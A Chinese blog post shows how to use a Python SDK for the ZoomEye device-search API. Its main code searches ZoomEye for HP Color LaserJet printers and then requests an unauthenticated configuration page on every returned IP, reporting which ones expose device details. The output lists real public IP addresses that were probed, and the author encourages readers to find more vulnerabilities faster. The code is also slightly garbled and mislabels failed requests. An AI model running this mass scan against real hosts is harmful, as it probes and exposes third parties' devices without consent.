版权声明:未经作者授权,禁止转载!

ZoomEye想必大家都很熟悉,自从官方开放了API,网上各种版本的SDK乱飞。今天我也来发一个自己写的。

首先我们从https://github.com/SEC08/ZoomEye-API-SDK下载以后,解压以后我们直接运行python setup.py install来安装这个模块。这个过程类似大家安装Python的其他模块,比如说常见的requests.这里不多介绍了。等待安装完成以后,我们就可以来调用了。

利用SDK登录ZoomEye:

#!/usr/bin/env python
# -*-coding:utf-8 -*- import sys
import requests
import zoomeye.zoomeye as zoomeye test = zoomeye.zoomeye() username = 'your main@qq.com'
password = 'your zoomeye account password' token = test.logIn(username, password)

接着我们调用了脚本中的搜索方法,搜索的query可以参考官方给出的使用说明。。

#!/usr/bin/env python
# -*-coding:utf-8 -*- import sys
import requests
import zoomeye.zoomeye as zoomeye test = zoomeye.zoomeye() username = 'your main@qq.com'
password = 'your ZoomEye account password' token = test.logIn(username, password) result = test.search('web',query='HP Color LaserJet',page=1,facets='app,os') print result

返回数据是json的格式,官方文档中有详细的说明,这里我大致做了处理。

#!/usr/bin/env python
# -*-coding:utf-8 -*- import sys
import requests
import zoomeye.zoomeye as zoomeye test = zoomeye.zoomeye() username = 'your main@qq.com'
password = 'your ZoomEye account password' token = test.logIn(username, password) result = test.search('web',query='HP Color LaserJet',page=1,facets='app,os') target = [] for i in result:
for x in i['matches']:
print x['ip']
target.append(x['ip'][0]) for ip in target:
try:
payload = '/hp/device/InternalPages/Index?id=ConfigurationPage'
url = 'http://' + ip + payload
res_exp = requests.get(url)
print '[-]checking url %s' % url
if res_exp.status_code == 200 and 'HomeDeviceName' in res_exp.content and 'HomeDeviceIp' in res_exp.content:
print '[+]%s is vul' % url
elif res_exp.status_code != 200:
print '[+]%s is static' % url
else:
pass except Exception, e:
pass

 然后结果是这样的:

[-]checking url http://192.185.150.112/hp/device/InternalPages/Index?id=ConfigurationPage
[-]checking url http://140.118.123.43/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://140.118.123.43/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://31.160.189.69/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://31.160.189.69/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://129.89.57.148/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://129.89.57.148/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://170.210.3.40/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://170.210.3.40/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://74.208.41.246/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://74.208.41.246/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://140.112.57.144/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://140.112.57.144/hp/device/InternalPages/Index?id=ConfigurationPage is static
[-]checking url http://67.63.41.136/hp/device/InternalPages/Index?id=ConfigurationPage
[+]http://67.63.41.136/hp/device/InternalPages/Index?id=ConfigurationPage is static

这样是大致的演示过程,还有诸多的不足。这里想说的是,这是一个不错的漏扫模式,国内好多的安全厂商也都开始构建类似这样的工具。另外大家可以发挥自己的想象力和创造力。更快速的去挖到更多的漏洞。

Python 实现 ZoomEye API SDK的更多相关文章

  1. 『Python』Python 调用 ZoomEye API 批量获取目标网站IP

    #### 20160712 更新 原API的访问方式是以 HTTP 的方式访问的,根据官网最新文档,现在已经修改成 HTTPS 方式,测试可以正常使用API了. 0x 00 前言 ZoomEye 的 ...

  2. 从ZoomEye API 到 Weblogic 弱口令扫描

    参考资料: ZoomEye API: https://www.zoomeye.org/api/doc Weblogic-Weakpassword-Scnner: https://github.com/ ...

  3. 使用Python结合Face++ API识别人脸

    Face++是北京旷视科技旗下的视觉服务平台,可以进行人脸识别.检测等功能.其人脸识别技术据悉在目前准确率较高,其API非常友好,免费使用,功能众多,而且调用几乎没有限制.这里我使用了Python调用 ...

  4. 调用ZoomEye API获取信息

    最近在提高自己编程能力,拿一些实用的小工具练下.该脚本为python语言,主要涉及模块urllib,json,os模块. 功能:调用ZoomEye API获取信息 import urllib.requ ...

  5. 使用Python调用Flickr API抓取图片数据

    Flickr是雅虎旗下的图片分享网站,上面有全世界网友分享的大量精彩图片,被认为是专业的图片网站.其API也很友好,可以实现多种功能.这里我使用了Python调用其API获得了大量的照片数据.需要注意 ...

  6. 使用python+pychram进行API测试(接口测试)初级STEP 1

    花了一天时间安装了解了下最基本的python+pychram进行API测试,下面这个可以指导自己以后入门:基本的开发级别还需要学习 1.python下载地址:https://www.python.or ...

  7. WEB自动化(Python+selenium)的API

    在做Web自动化过程中,汇总了Python+selenium的API相关方法,给公司里的同事做了第二次培训,分享给大家                                         ...

  8. 使用sphinx快速为你python注释生成API文档

    sphinx简介sphinx是一种基于Python的文档工具,它可以令人轻松的撰写出清晰且优美的文档,由Georg Brandl在BSD许可证下开发.新版的Python3文档就是由sphinx生成的, ...

  9. 基于python调用libvirt API

    基于python调用libvirt API 1.程序代码 #!/usr/bin/python import libvirt import sys def createConnection(): con ...

随机推荐

  1. 125. Valid Palindrome判断有效的有符号的回文串

    [抄题]: Given a string, determine if it is a palindrome, considering only alphanumeric characters and ...

  2. convertTo

    转自 http://blog.csdn.net/xiaxiazls/article/details/51204265 在使用Opencv中,常常会出现读取一个图片内容后要把图片内容的像素信息转为浮点并 ...

  3. SqlDataAdapter 批量更新数据库表

    在数据库中批量插入数据许多人都已经了解了,就是使用.net 中的SqlBulkCopy对象(MSDN详解).我们在做评教系统的时候使用过这个对象,它能将数据表批量导入到数据库中,效率比单条插入数据效率 ...

  4. Python学友

    独学而无友,则孤陋而寡闻,python学习过程中希望多和学友交流,一起进步. 开源中国 j_hao104 微信公众号: Pythoner每日一报 https://my.oschina.net/jhao ...

  5. Luogu 4155 [SCOI2015]国旗计划

    BZOJ 4444 倍增 + 贪心. 发现是一个环,先按照套路把环断开复制一倍,这样子的话覆盖完整个环就相当于覆盖一条长度不小于$m$的链,注意这样子有一些区间在新的这条链上会出现两次. 我们为了找到 ...

  6. 2.Books

    Books示例说明了Qt中SQL类如何被Model/View框架使用,使用数据库中存储的信息,创建丰富的用户界面. 首先介绍使用SQL我们需要了解的类: 1.QSqlDatabase: QSqlDat ...

  7. Smarty3——从配置文件获取的变量

    再使用配置变量前要 引入配置变量即:{$config_load file=‘file_path’}$marty3中可以从配置文件中 用 # 号包起来引用配置文件中的变量({#config_var_na ...

  8. ESP8266-iot-3

    ESP8266 WIFI操作 参考资料 模式选择 程序: 把之前的Helloworld程序复制过来改成wifi工程 先输出获取的当前模式 编译后会出错,因为os_printf的头文件没有被包含进来 结 ...

  9. Part8-不用内存怎么行_6410内存初始化lesson3

    1.6410地址空间 外设区:从0x70000000-0x7FFFFFFF有256MB 主存储区:从0x00000000-0x6FFFFFFF有1972MB 对于主存储区: 静态存储区可以接我们的NO ...

  10. [GO]指针和函数配合的值传递

    package main import "fmt" func swap(a, b int) { a, b = b, a fmt.Printf("a = %d, b = % ...